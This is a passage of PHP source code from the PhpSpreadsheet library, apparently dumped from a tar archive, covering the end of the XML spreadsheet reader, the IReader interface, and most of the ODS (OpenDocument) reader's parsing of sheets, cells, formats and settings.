if ($hasCalculatedValue) { $spreadsheet->getActiveSheet()->getCell($columnID . $rowID)->setCalculatedValue($cellValue, $originalType === DataType::TYPE_NUMERIC); } $rowHasData = true; } if (isset($cell->Comment)) { $this->parseCellComment($cell->Comment, $spreadsheet, $columnID, $rowID); } if (isset($cell_ss['StyleID'])) { $style = (string) $cell_ss['StyleID']; if ((isset($this->styles[$style])) && (!empty($this->styles[$style]))) { //if (!$spreadsheet->getActiveSheet()->cellExists($columnID . $rowID)) { // $spreadsheet->getActiveSheet()->getCell($columnID . $rowID)->setValue(null); //} $spreadsheet->getActiveSheet()->getStyle($cellRange) ->applyFromArray($this->styles[$style]); } } ++$columnID; while ($additionalMergedCells > 0) { ++$columnID; --$additionalMergedCells; } } if ($rowHasData) { if (isset($row_ss['Height'])) { $rowHeight = $row_ss['Height']; $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setRowHeight((float) $rowHeight); } } ++$rowID; } } $dataValidations = new Xml\DataValidations(); $dataValidations->loadDataValidations($worksheet, $spreadsheet); $xmlX = $worksheet->children(Namespaces::URN_EXCEL); if (isset($xmlX->WorksheetOptions)) { if (isset($xmlX->WorksheetOptions->ShowPageBreakZoom)) { $spreadsheet->getActiveSheet()->getSheetView()->setView(SheetView::SHEETVIEW_PAGE_BREAK_PREVIEW); } if (isset($xmlX->WorksheetOptions->Zoom)) { $zoomScaleNormal = (int) $xmlX->WorksheetOptions->Zoom; if ($zoomScaleNormal > 0) { $spreadsheet->getActiveSheet()->getSheetView()->setZoomScaleNormal($zoomScaleNormal); $spreadsheet->getActiveSheet()->getSheetView()->setZoomScale($zoomScaleNormal); } } if (isset($xmlX->WorksheetOptions->PageBreakZoom)) { $zoomScaleNormal = (int) $xmlX->WorksheetOptions->PageBreakZoom; if ($zoomScaleNormal > 0) { $spreadsheet->getActiveSheet()->getSheetView()->setZoomScaleSheetLayoutView($zoomScaleNormal); } } if (isset($xmlX->WorksheetOptions->ShowPageBreakZoom)) { $spreadsheet->getActiveSheet()->getSheetView()->setView(SheetView::SHEETVIEW_PAGE_BREAK_PREVIEW); } if (isset($xmlX->WorksheetOptions->FreezePanes)) { $freezeRow = $freezeColumn = 1; if (isset($xmlX->WorksheetOptions->SplitHorizontal)) { $freezeRow = (int) $xmlX->WorksheetOptions->SplitHorizontal + 1; } if (isset($xmlX->WorksheetOptions->SplitVertical)) { $freezeColumn = (int) $xmlX->WorksheetOptions->SplitVertical + 1; } $leftTopRow = (string) $xmlX->WorksheetOptions->TopRowBottomPane; $leftTopColumn = (string) $xmlX->WorksheetOptions->LeftColumnRightPane; if (is_numeric($leftTopRow) && is_numeric($leftTopColumn)) { $leftTopCoordinate = Coordinate::stringFromColumnIndex((int) $leftTopColumn + 1) . (string) ($leftTopRow + 1); $spreadsheet->getActiveSheet()->freezePane(Coordinate::stringFromColumnIndex($freezeColumn) . (string) $freezeRow, $leftTopCoordinate, !isset($xmlX->WorksheetOptions->FrozenNoSplit)); } else { $spreadsheet->getActiveSheet()->freezePane(Coordinate::stringFromColumnIndex($freezeColumn) . (string) $freezeRow, null, !isset($xmlX->WorksheetOptions->FrozenNoSplit)); } } elseif (isset($xmlX->WorksheetOptions->SplitVertical) || isset($xmlX->WorksheetOptions->SplitHorizontal)) { if (isset($xmlX->WorksheetOptions->SplitHorizontal)) { $ySplit = (int) $xmlX->WorksheetOptions->SplitHorizontal; $spreadsheet->getActiveSheet()->setYSplit($ySplit); } if (isset($xmlX->WorksheetOptions->SplitVertical)) { $xSplit = (int) $xmlX->WorksheetOptions->SplitVertical; $spreadsheet->getActiveSheet()->setXSplit($xSplit); } if (isset($xmlX->WorksheetOptions->LeftColumnVisible) || isset($xmlX->WorksheetOptions->TopRowVisible)) { $leftTopColumn = $leftTopRow = 1; if (isset($xmlX->WorksheetOptions->LeftColumnVisible)) { $leftTopColumn = 1 + (int) $xmlX->WorksheetOptions->LeftColumnVisible; } if (isset($xmlX->WorksheetOptions->TopRowVisible)) { $leftTopRow = 1 + (int) $xmlX->WorksheetOptions->TopRowVisible; } $leftTopCoordinate = Coordinate::stringFromColumnIndex($leftTopColumn) . "$leftTopRow"; $spreadsheet->getActiveSheet()->setTopLeftCell($leftTopCoordinate); } $leftTopColumn = $leftTopRow = 1; if (isset($xmlX->WorksheetOptions->LeftColumnRightPane)) { $leftTopColumn = 1 + (int) $xmlX->WorksheetOptions->LeftColumnRightPane; } if (isset($xmlX->WorksheetOptions->TopRowBottomPane)) { $leftTopRow = 1 + (int) $xmlX->WorksheetOptions->TopRowBottomPane; } $leftTopCoordinate = Coordinate::stringFromColumnIndex($leftTopColumn) . "$leftTopRow"; $spreadsheet->getActiveSheet()->setPaneTopLeftCell($leftTopCoordinate); } (new PageSettings($xmlX))->loadPageSettings($spreadsheet); if (isset($xmlX->WorksheetOptions->TopRowVisible, $xmlX->WorksheetOptions->LeftColumnVisible)) { $leftTopRow = (string) $xmlX->WorksheetOptions->TopRowVisible; $leftTopColumn = (string) $xmlX->WorksheetOptions->LeftColumnVisible; if (is_numeric($leftTopRow) && is_numeric($leftTopColumn)) { $leftTopCoordinate = Coordinate::stringFromColumnIndex((int) $leftTopColumn + 1) . (string) ($leftTopRow + 1); $spreadsheet->getActiveSheet()->setTopLeftCell($leftTopCoordinate); } } $rangeCalculated = false; if (isset($xmlX->WorksheetOptions->Panes->Pane->RangeSelection)) { if (1 === preg_match('/^R(\d+)C(\d+):R(\d+)C(\d+)$/', (string) $xmlX->WorksheetOptions->Panes->Pane->RangeSelection, $selectionMatches)) { $selectedCell = Coordinate::stringFromColumnIndex((int) $selectionMatches[2]) . $selectionMatches[1] . ':' . Coordinate::stringFromColumnIndex((int) $selectionMatches[4]) . $selectionMatches[3]; $spreadsheet->getActiveSheet()->setSelectedCells($selectedCell); $rangeCalculated = true; } } if (!$rangeCalculated) { if (isset($xmlX->WorksheetOptions->Panes->Pane->ActiveRow)) { $activeRow = (string) $xmlX->WorksheetOptions->Panes->Pane->ActiveRow; } else { $activeRow = 0; } if (isset($xmlX->WorksheetOptions->Panes->Pane->ActiveCol)) { $activeColumn = (string) $xmlX->WorksheetOptions->Panes->Pane->ActiveCol; } else { $activeColumn = 0; } if (is_numeric($activeRow) && is_numeric($activeColumn)) { $selectedCell = Coordinate::stringFromColumnIndex((int) $activeColumn + 1) . (string) ($activeRow + 1); $spreadsheet->getActiveSheet()->setSelectedCells($selectedCell); } } } if (isset($xmlX->PageBreaks)) { if (isset($xmlX->PageBreaks->ColBreaks)) { foreach ($xmlX->PageBreaks->ColBreaks->ColBreak as $colBreak) { $colBreak = (string) $colBreak->Column; $spreadsheet->getActiveSheet()->setBreak([1 + (int) $colBreak, 1], Worksheet::BREAK_COLUMN); } } if (isset($xmlX->PageBreaks->RowBreaks)) { foreach ($xmlX->PageBreaks->RowBreaks->RowBreak as $rowBreak) { $rowBreak = (string) $rowBreak->Row; $spreadsheet->getActiveSheet()->setBreak([1, (int) $rowBreak], Worksheet::BREAK_ROW); } } } ++$worksheetID; } // Globally scoped defined names $activeSheetIndex = 0; if (isset($xml->ExcelWorkbook->ActiveSheet)) { $activeSheetIndex = (int) (string) $xml->ExcelWorkbook->ActiveSheet; } $activeWorksheet = $spreadsheet->setActiveSheetIndex($activeSheetIndex); if (isset($xml->Names[0])) { foreach ($xml->Names[0] as $definedName) { $definedName_ss = self::getAttributes($definedName, self::NAMESPACES_SS); $name = (string) $definedName_ss['Name']; $definedValue = (string) $definedName_ss['RefersTo']; $convertedValue = AddressHelper::convertFormulaToA1($definedValue); if ($convertedValue[0] === '=') { $convertedValue = substr($convertedValue, 1); } $spreadsheet->addDefinedName(DefinedName::createInstance($name, $activeWorksheet, $convertedValue)); } } // Return return $spreadsheet; } protected function parseCellComment( SimpleXMLElement $comment, Spreadsheet $spreadsheet, string $columnID, int $rowID ): void { $commentAttributes = $comment->attributes(self::NAMESPACES_SS); $author = 'unknown'; if (isset($commentAttributes->Author)) { $author = (string) $commentAttributes->Author; } $node = $comment->Data->asXML(); $annotation = strip_tags((string) $node); $spreadsheet->getActiveSheet()->getComment($columnID . $rowID) ->setAuthor($author) ->setText($this->parseRichText($annotation)); } protected function parseRichText(string $annotation): RichText { $value = new RichText(); $value->createText($annotation); return $value; } private static function getAttributes(?SimpleXMLElement $simple, string $node): SimpleXMLElement { return ($simple === null) ? new SimpleXMLElement('<xml></xml>') : ($simple->attributes($node) ?? new SimpleXMLElement('<xml></xml>')); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/IReader.php000064400000010620151676714400020474 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Spreadsheet; interface IReader { public const LOAD_WITH_CHARTS = 1; public const READ_DATA_ONLY = 2; public const SKIP_EMPTY_CELLS = 4; public const IGNORE_EMPTY_CELLS = 4; public function __construct(); /** * Can the current IReader read the file? */ public function canRead(string $filename): bool; /** * Read data only? * If this is true, then the Reader will only read data values for cells, it will not read any formatting * or structural information (like merges). * If false (the default) it will read data and formatting. */ public function getReadDataOnly(): bool; /** * Set read data only * Set to true, to advise the Reader only to read data values for cells, and to ignore any formatting * or structural information (like merges). * Set to false (the default) to advise the Reader to read both data and formatting for cells. * * @return $this */ public function setReadDataOnly(bool $readDataOnly): self; /** * Read empty cells? * If this is true (the default), then the Reader will read data values for all cells, irrespective of value. * If false it will not read data for cells containing a null value or an empty string. */ public function getReadEmptyCells(): bool; /** * Set read empty cells * Set to true (the default) to advise the Reader read data values for all cells, irrespective of value. * Set to false to advise the Reader to ignore cells containing a null value or an empty string. * * @return $this */ public function setReadEmptyCells(bool $readEmptyCells): self; /** * Read charts in workbook? * If this is true, then the Reader will include any charts that exist in the workbook. * Note that a ReadDataOnly value of false overrides, and charts won't be read regardless of the IncludeCharts value. * If false (the default) it will ignore any charts defined in the workbook file. */ public function getIncludeCharts(): bool; /** * Set read charts in workbook * Set to true, to advise the Reader to include any charts that exist in the workbook. * Note that a ReadDataOnly value of false overrides, and charts won't be read regardless of the IncludeCharts value. * Set to false (the default) to discard charts. * * @return $this */ public function setIncludeCharts(bool $includeCharts): self; /** * Get which sheets to load * Returns either an array of worksheet names (the list of worksheets that should be loaded), or a null * indicating that all worksheets in the workbook should be loaded. */ public function getLoadSheetsOnly(): ?array; /** * Set which sheets to load. * * @param null|array|string $value This should be either an array of worksheet names to be loaded, * or a string containing a single worksheet name. If NULL, then it tells the Reader to * read all worksheets in the workbook * * @return $this */ public function setLoadSheetsOnly(string|array|null $value): self; /** * Set all sheets to load * Tells the Reader to load all worksheets from the workbook. * * @return $this */ public function setLoadAllSheets(): self; /** * Read filter. */ public function getReadFilter(): IReadFilter; /** * Set read filter. * * @return $this */ public function setReadFilter(IReadFilter $readFilter): self; /** * Loads PhpSpreadsheet from file. * * @param string $filename The name of the file to load * @param int $flags Flags that can change the behaviour of the Writer: * self::LOAD_WITH_CHARTS Load any charts that are defined (if the Reader supports Charts) * self::READ_DATA_ONLY Read only data, not style or structure information, from the file * self::SKIP_EMPTY_CELLS Don't read empty cells (cells that contain a null value, * empty string, or a string containing only whitespace characters) */ public function load(string $filename, int $flags = 0): Spreadsheet; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Ods.php000064400000107133151676714400017714 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use DOMAttr; use DOMDocument; use DOMElement; use DOMNode; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Helper\Dimension as HelperDimension; use PhpOffice\PhpSpreadsheet\Reader\Ods\AutoFilter; use PhpOffice\PhpSpreadsheet\Reader\Ods\DefinedNames; use PhpOffice\PhpSpreadsheet\Reader\Ods\FormulaTranslator; use PhpOffice\PhpSpreadsheet\Reader\Ods\PageSettings; use PhpOffice\PhpSpreadsheet\Reader\Ods\Properties as DocumentProperties; use PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Settings; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use Throwable; use XMLReader; use ZipArchive; class Ods extends BaseReader { const INITIAL_FILE = 'content.xml'; /** * Create a new Ods Reader instance. */ public function __construct() { parent::__construct(); $this->securityScanner = XmlScanner::getInstance($this); } /** * Can the current IReader read the file? */ public function canRead(string $filename): bool { $mimeType = 'UNKNOWN'; // Load file if (File::testFileNoThrow($filename, '')) { $zip = new ZipArchive(); if ($zip->open($filename) === true) { // check if it is an OOXML archive $stat = $zip->statName('mimetype'); if (!empty($stat) && ($stat['size'] <= 255)) { $mimeType = $zip->getFromName($stat['name']); } elseif ($zip->statName('META-INF/manifest.xml')) { $xml = simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($zip->getFromName('META-INF/manifest.xml')), 'SimpleXMLElement', Settings::getLibXmlLoaderOptions() ); if ($xml !== false) { $namespacesContent = $xml->getNamespaces(true); if (isset($namespacesContent['manifest'])) { $manifest = $xml->children($namespacesContent['manifest']); foreach ($manifest as $manifestDataSet) { $manifestAttributes = $manifestDataSet->attributes($namespacesContent['manifest']); if ($manifestAttributes && $manifestAttributes->{'full-path'} == '/') { $mimeType = (string) $manifestAttributes->{'media-type'}; break; } } } } } $zip->close(); } } return $mimeType === 'application/vnd.oasis.opendocument.spreadsheet'; } /** * Reads names of the worksheets from a file, without parsing the whole file to a PhpSpreadsheet object. * * @return string[] */ public function listWorksheetNames(string $filename): array { File::assertFile($filename, self::INITIAL_FILE); $worksheetNames = []; $xml = new XMLReader(); $xml->xml( $this->getSecurityScannerOrThrow()->scanFile('zip://' . realpath($filename) . '#' . self::INITIAL_FILE), null, Settings::getLibXmlLoaderOptions() ); $xml->setParserProperty(2, true); // Step into the first level of content of the XML $xml->read(); while ($xml->read()) { // Quickly jump through to the office:body node while (self::getXmlName($xml) !== 'office:body') { if ($xml->isEmptyElement) { $xml->read(); } else { $xml->next(); } } // Now read each node until we find our first table:table node while ($xml->read()) { $xmlName = self::getXmlName($xml); if ($xmlName == 'table:table' && $xml->nodeType == XMLReader::ELEMENT) { // Loop through each table:table node reading the table:name attribute for each worksheet name do { $worksheetName = $xml->getAttribute('table:name'); if (!empty($worksheetName)) { $worksheetNames[] = $worksheetName; } $xml->next(); } while (self::getXmlName($xml) == 'table:table' && $xml->nodeType == XMLReader::ELEMENT); } } } return $worksheetNames; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns). */ public function listWorksheetInfo(string $filename): array { File::assertFile($filename, self::INITIAL_FILE); $worksheetInfo = []; $xml = new XMLReader(); $xml->xml( $this->getSecurityScannerOrThrow()->scanFile('zip://' . realpath($filename) . '#' . self::INITIAL_FILE), null, Settings::getLibXmlLoaderOptions() ); $xml->setParserProperty(2, true); // Step into the first level of content of the XML $xml->read(); while ($xml->read()) { // Quickly jump through to the office:body node while (self::getXmlName($xml) !== 'office:body') { if ($xml->isEmptyElement) { $xml->read(); } else { $xml->next(); } } // Now read each node until we find our first table:table node while ($xml->read()) { if (self::getXmlName($xml) == 'table:table' && $xml->nodeType == XMLReader::ELEMENT) { $worksheetNames[] = $xml->getAttribute('table:name'); $tmpInfo = [ 'worksheetName' => $xml->getAttribute('table:name'), 'lastColumnLetter' => 'A', 'lastColumnIndex' => 0, 'totalRows' => 0, 'totalColumns' => 0, ]; // Loop through each child node of the table:table element reading $currCells = 0; do { $xml->read(); if (self::getXmlName($xml) == 'table:table-row' && $xml->nodeType == XMLReader::ELEMENT) { $rowspan = $xml->getAttribute('table:number-rows-repeated'); $rowspan = empty($rowspan) ? 1 : $rowspan; $tmpInfo['totalRows'] += $rowspan; $tmpInfo['totalColumns'] = max($tmpInfo['totalColumns'], $currCells); $currCells = 0; // Step into the row $xml->read(); do { $doread = true; if (self::getXmlName($xml) == 'table:table-cell' && $xml->nodeType == XMLReader::ELEMENT) { if (!$xml->isEmptyElement) { ++$currCells; $xml->next(); $doread = false; } } elseif (self::getXmlName($xml) == 'table:covered-table-cell' && $xml->nodeType == XMLReader::ELEMENT) { $mergeSize = $xml->getAttribute('table:number-columns-repeated'); $currCells += (int) $mergeSize; } if ($doread) { $xml->read(); } } while (self::getXmlName($xml) != 'table:table-row'); } } while (self::getXmlName($xml) != 'table:table'); $tmpInfo['totalColumns'] = max($tmpInfo['totalColumns'], $currCells); $tmpInfo['lastColumnIndex'] = $tmpInfo['totalColumns'] - 1; $tmpInfo['lastColumnLetter'] = Coordinate::stringFromColumnIndex($tmpInfo['lastColumnIndex'] + 1); $worksheetInfo[] = $tmpInfo; } } } return $worksheetInfo; } /** * Counteract Phpstan caching. * * @phpstan-impure */ private static function getXmlName(XMLReader $xml): string { return $xml->name; } /** * Loads PhpSpreadsheet from file. */ protected function loadSpreadsheetFromFile(string $filename): Spreadsheet { // Create new Spreadsheet $spreadsheet = new Spreadsheet(); $spreadsheet->removeSheetByIndex(0); // Load into this instance return $this->loadIntoExisting($filename, $spreadsheet); } /** * Loads PhpSpreadsheet from file into PhpSpreadsheet instance. */ public function loadIntoExisting(string $filename, Spreadsheet $spreadsheet): Spreadsheet { File::assertFile($filename, self::INITIAL_FILE); $zip = new ZipArchive(); $zip->open($filename); // Meta $xml = @simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($zip->getFromName('meta.xml')), 'SimpleXMLElement', Settings::getLibXmlLoaderOptions() ); if ($xml === false) { throw new Exception('Unable to read data from {$pFilename}'); } $namespacesMeta = $xml->getNamespaces(true); (new DocumentProperties($spreadsheet))->load($xml, $namespacesMeta); // Styles $dom = new DOMDocument('1.01', 'UTF-8'); $dom->loadXML( $this->getSecurityScannerOrThrow()->scan($zip->getFromName('styles.xml')), Settings::getLibXmlLoaderOptions() ); $pageSettings = new PageSettings($dom); // Main Content $dom = new DOMDocument('1.01', 'UTF-8'); $dom->loadXML( $this->getSecurityScannerOrThrow()->scan($zip->getFromName(self::INITIAL_FILE)), Settings::getLibXmlLoaderOptions() ); $officeNs = (string) $dom->lookupNamespaceUri('office'); $tableNs = (string) $dom->lookupNamespaceUri('table'); $textNs = (string) $dom->lookupNamespaceUri('text'); $xlinkNs = (string) $dom->lookupNamespaceUri('xlink'); $styleNs = (string) $dom->lookupNamespaceUri('style'); $pageSettings->readStyleCrossReferences($dom); $autoFilterReader = new AutoFilter($spreadsheet, $tableNs); $definedNameReader = new DefinedNames($spreadsheet, $tableNs); $columnWidths = []; $automaticStyle0 = $dom->getElementsByTagNameNS($officeNs, 'automatic-styles')->item(0); $automaticStyles = ($automaticStyle0 === null) ? [] : $automaticStyle0->getElementsByTagNameNS($styleNs, 'style'); foreach ($automaticStyles as $automaticStyle) { $styleName = $automaticStyle->getAttributeNS($styleNs, 'name'); $styleFamily = $automaticStyle->getAttributeNS($styleNs, 'family'); if ($styleFamily === 'table-column') { $tcprops = $automaticStyle->getElementsByTagNameNS($styleNs, 'table-column-properties'); if ($tcprops !== null) { $tcprop = $tcprops->item(0); if ($tcprop !== null) { $columnWidth = $tcprop->getAttributeNs($styleNs, 'column-width'); $columnWidths[$styleName] = $columnWidth; } } } } // Content $item0 = $dom->getElementsByTagNameNS($officeNs, 'body')->item(0); $spreadsheets = ($item0 === null) ? [] : $item0->getElementsByTagNameNS($officeNs, 'spreadsheet'); foreach ($spreadsheets as $workbookData) { /** @var DOMElement $workbookData */ $tables = $workbookData->getElementsByTagNameNS($tableNs, 'table'); $worksheetID = 0; foreach ($tables as $worksheetDataSet) { /** @var DOMElement $worksheetDataSet */ $worksheetName = $worksheetDataSet->getAttributeNS($tableNs, 'name'); // Check loadSheetsOnly if ( $this->loadSheetsOnly !== null && $worksheetName && !in_array($worksheetName, $this->loadSheetsOnly) ) { continue; } $worksheetStyleName = $worksheetDataSet->getAttributeNS($tableNs, 'style-name'); // Create sheet $spreadsheet->createSheet(); $spreadsheet->setActiveSheetIndex($worksheetID); if ($worksheetName || is_numeric($worksheetName)) { // Use false for $updateFormulaCellReferences to prevent adjustment of worksheet references in // formula cells... during the load, all formulae should be correct, and we're simply // bringing the worksheet name in line with the formula, not the reverse $spreadsheet->getActiveSheet()->setTitle((string) $worksheetName, false, false); } // Go through every child of table element $rowID = 1; $tableColumnIndex = 1; foreach ($worksheetDataSet->childNodes as $childNode) { /** @var DOMElement $childNode */ // Filter elements which are not under the "table" ns if ($childNode->namespaceURI != $tableNs) { continue; } $key = $childNode->nodeName; // Remove ns from node name if (str_contains($key, ':')) { $keyChunks = explode(':', $key); $key = array_pop($keyChunks); } switch ($key) { case 'table-header-rows': /// TODO :: Figure this out. This is only a partial implementation I guess. // ($rowData it's not used at all and I'm not sure that PHPExcel // has an API for this) // foreach ($rowData as $keyRowData => $cellData) { // $rowData = $cellData; // break; // } break; case 'table-column': if ($childNode->hasAttributeNS($tableNs, 'number-columns-repeated')) { $rowRepeats = (int) $childNode->getAttributeNS($tableNs, 'number-columns-repeated'); } else { $rowRepeats = 1; } $tableStyleName = $childNode->getAttributeNS($tableNs, 'style-name'); if (isset($columnWidths[$tableStyleName])) { $columnWidth = new HelperDimension($columnWidths[$tableStyleName]); $tableColumnString = Coordinate::stringFromColumnIndex($tableColumnIndex); for ($rowRepeats2 = $rowRepeats; $rowRepeats2 > 0; --$rowRepeats2) { $spreadsheet->getActiveSheet() ->getColumnDimension($tableColumnString) ->setWidth($columnWidth->toUnit('cm'), 'cm'); ++$tableColumnString; } } $tableColumnIndex += $rowRepeats; break; case 'table-row': if ($childNode->hasAttributeNS($tableNs, 'number-rows-repeated')) { $rowRepeats = (int) $childNode->getAttributeNS($tableNs, 'number-rows-repeated'); } else { $rowRepeats = 1; } $columnID = 'A'; /** @var DOMElement $cellData */ foreach ($childNode->childNodes as $cellData) { if ($this->getReadFilter() !== null) { if (!$this->getReadFilter()->readCell($columnID, $rowID, $worksheetName)) { if ($cellData->hasAttributeNS($tableNs, 'number-columns-repeated')) { $colRepeats = (int) $cellData->getAttributeNS($tableNs, 'number-columns-repeated'); } else { $colRepeats = 1; } for ($i = 0; $i < $colRepeats; ++$i) { ++$columnID; } continue; } } // Initialize variables $formatting = $hyperlink = null; $hasCalculatedValue = false; $cellDataFormula = ''; if ($cellData->hasAttributeNS($tableNs, 'formula')) { $cellDataFormula = $cellData->getAttributeNS($tableNs, 'formula'); $hasCalculatedValue = true; } // Annotations $annotation = $cellData->getElementsByTagNameNS($officeNs, 'annotation'); if ($annotation->length > 0 && $annotation->item(0) !== null) { $textNode = $annotation->item(0)->getElementsByTagNameNS($textNs, 'p'); if ($textNode->length > 0 && $textNode->item(0) !== null) { $text = $this->scanElementForText($textNode->item(0)); $spreadsheet->getActiveSheet() ->getComment($columnID . $rowID) ->setText($this->parseRichText($text)); // ->setAuthor( $author ) } } // Content /** @var DOMElement[] $paragraphs */ $paragraphs = []; foreach ($cellData->childNodes as $item) { /** @var DOMElement $item */ // Filter text:p elements if ($item->nodeName == 'text:p') { $paragraphs[] = $item; } } if (count($paragraphs) > 0) { // Consolidate if there are multiple p records (maybe with spans as well) $dataArray = []; // Text can have multiple text:p and within those, multiple text:span. // text:p newlines, but text:span does not. // Also, here we assume there is no text data is span fields are specified, since // we have no way of knowing proper positioning anyway. foreach ($paragraphs as $pData) { $dataArray[] = $this->scanElementForText($pData); } $allCellDataText = implode("\n", $dataArray); $type = $cellData->getAttributeNS($officeNs, 'value-type'); switch ($type) { case 'string': $type = DataType::TYPE_STRING; $dataValue = $allCellDataText; foreach ($paragraphs as $paragraph) { $link = $paragraph->getElementsByTagNameNS($textNs, 'a'); if ($link->length > 0 && $link->item(0) !== null) { $hyperlink = $link->item(0)->getAttributeNS($xlinkNs, 'href'); } } break; case 'boolean': $type = DataType::TYPE_BOOL; $dataValue = ($allCellDataText == 'TRUE') ? true : false; break; case 'percentage': $type = DataType::TYPE_NUMERIC; $dataValue = (float) $cellData->getAttributeNS($officeNs, 'value'); // percentage should always be float //if (floor($dataValue) == $dataValue) { // $dataValue = (int) $dataValue; //} $formatting = NumberFormat::FORMAT_PERCENTAGE_00; break; case 'currency': $type = DataType::TYPE_NUMERIC; $dataValue = (float) $cellData->getAttributeNS($officeNs, 'value'); if (floor($dataValue) == $dataValue) { $dataValue = (int) $dataValue; } $formatting = NumberFormat::FORMAT_CURRENCY_USD_INTEGER; break; case 'float': $type = DataType::TYPE_NUMERIC; $dataValue = (float) $cellData->getAttributeNS($officeNs, 'value'); if (floor($dataValue) == $dataValue) { if ($dataValue == (int) $dataValue) { $dataValue = (int) $dataValue; } } break; case 'date': $type = DataType::TYPE_NUMERIC; $value = $cellData->getAttributeNS($officeNs, 'date-value'); $dataValue = Date::convertIsoDate($value); if ($dataValue != floor($dataValue)) { $formatting = NumberFormat::FORMAT_DATE_XLSX15 . ' ' . NumberFormat::FORMAT_DATE_TIME4; } else { $formatting = NumberFormat::FORMAT_DATE_XLSX15; } break; case 'time': $type = DataType::TYPE_NUMERIC; $timeValue = $cellData->getAttributeNS($officeNs, 'time-value'); $dataValue = Date::PHPToExcel( strtotime( '01-01-1970 ' . implode(':', sscanf($timeValue, 'PT%dH%dM%dS') ?? []) ) ); $formatting = NumberFormat::FORMAT_DATE_TIME4; break; default: $dataValue = null; } } else { $type = DataType::TYPE_NULL; $dataValue = null; } if ($hasCalculatedValue) { $type = DataType::TYPE_FORMULA; $cellDataFormula = substr($cellDataFormula, strpos($cellDataFormula, ':=') + 1); $cellDataFormula = FormulaTranslator::convertToExcelFormulaValue($cellDataFormula); } if ($cellData->hasAttributeNS($tableNs, 'number-columns-repeated')) { $colRepeats = (int) $cellData->getAttributeNS($tableNs, 'number-columns-repeated'); } else { $colRepeats = 1; } if ($type !== null) { for ($i = 0; $i < $colRepeats; ++$i) { if ($i > 0) { ++$columnID; } if ($type !== DataType::TYPE_NULL) { for ($rowAdjust = 0; $rowAdjust < $rowRepeats; ++$rowAdjust) { $rID = $rowID + $rowAdjust; $cell = $spreadsheet->getActiveSheet() ->getCell($columnID . $rID); // Set value if ($hasCalculatedValue) { $cell->setValueExplicit($cellDataFormula, $type); } else { $cell->setValueExplicit($dataValue, $type); } if ($hasCalculatedValue) { $cell->setCalculatedValue($dataValue, $type === DataType::TYPE_NUMERIC); } // Set other properties if ($formatting !== null) { $spreadsheet->getActiveSheet() ->getStyle($columnID . $rID) ->getNumberFormat() ->setFormatCode($formatting); } else { $spreadsheet->getActiveSheet() ->getStyle($columnID . $rID) ->getNumberFormat() ->setFormatCode(NumberFormat::FORMAT_GENERAL); } if ($hyperlink !== null) { if ($hyperlink[0] === '#') { $hyperlink = 'sheet://' . substr($hyperlink, 1); } $cell->getHyperlink() ->setUrl($hyperlink); } } } } } // Merged cells $this->processMergedCells($cellData, $tableNs, $type, $columnID, $rowID, $spreadsheet); ++$columnID; } $rowID += $rowRepeats; break; } } $pageSettings->setVisibilityForWorksheet($spreadsheet->getActiveSheet(), $worksheetStyleName); $pageSettings->setPrintSettingsForWorksheet($spreadsheet->getActiveSheet(), $worksheetStyleName); ++$worksheetID; } $autoFilterReader->read($workbookData); $definedNameReader->read($workbookData); } $spreadsheet->setActiveSheetIndex(0); if ($zip->locateName('settings.xml') !== false) { $this->processSettings($zip, $spreadsheet); } // Return return $spreadsheet; } private function processSettings(ZipArchive $zip, Spreadsheet $spreadsheet): void { $dom = new DOMDocument('1.01', 'UTF-8'); $dom->loadXML( $this->getSecurityScannerOrThrow()->scan($zip->getFromName('settings.xml')), Settings::getLibXmlLoaderOptions() ); //$xlinkNs = $dom->lookupNamespaceUri('xlink'); $configNs = (string) $dom->lookupNamespaceUri('config'); //$oooNs = $dom->lookupNamespaceUri('ooo'); $officeNs = (string) $dom->lookupNamespaceUri('office'); $settings = $dom->getElementsByTagNameNS($officeNs, 'settings') ->item(0); if ($settings !== null) { $this->lookForActiveSheet($settings, $spreadsheet, $configNs); $this->lookForSelectedCells($settings, $spreadsheet, $configNs); } } private function lookForActiveSheet(DOMElement $settings, Spreadsheet $spreadsheet, string $configNs): void { /** @var DOMElement $t */ foreach ($settings->getElementsByTagNameNS($configNs, 'config-item') as $t) { if ($t->getAttributeNs($configNs, 'name') === 'ActiveTable') { try { $spreadsheet->setActiveSheetIndexByName($t->nodeValue ?? ''); } catch (Throwable) { // do nothing } break; } } } private function lookForSelectedCells(DOMElement $settings, Spreadsheet $spreadsheet, string $configNs): void { /** @var DOMElement $t */ foreach ($settings->getElementsByTagNameNS($configNs, 'config-item-map-named') as $t) { if ($t->getAttributeNs($configNs, 'name') === 'Tables') { foreach ($t->getElementsByTagNameNS($configNs, 'config-item-map-entry') as $ws) { $setRow = $setCol = ''; $wsname = $ws->getAttributeNs($configNs, 'name'); foreach ($ws->getElementsByTagNameNS($configNs, 'config-item') as $configItem) { $attrName = $configItem->getAttributeNs($configNs, 'name'); if ($attrName === 'CursorPositionX') { $setCol = $configItem->nodeValue; } if ($attrName === 'CursorPositionY') { $setRow = $configItem->nodeValue; } } $this->setSelected($spreadsheet, $wsname, "$setCol", "$setRow"); } break; } } } private function setSelected(Spreadsheet $spreadsheet, string $wsname, string $setCol, string $setRow): void { if (is_numeric($setCol) && is_numeric($setRow)) { $sheet = $spreadsheet->getSheetByName($wsname); if ($sheet !== null) { $sheet->setSelectedCells([(int) $setCol + 1, (int) $setRow + 1]); } } } /** * Recursively scan element. */ protected function scanElementForText(DOMNode $element): string { $str = ''; foreach ($element->childNodes as $child) { /** @var DOMNode $child */ if ($child->nodeType == XML_TEXT_NODE) { $str .= 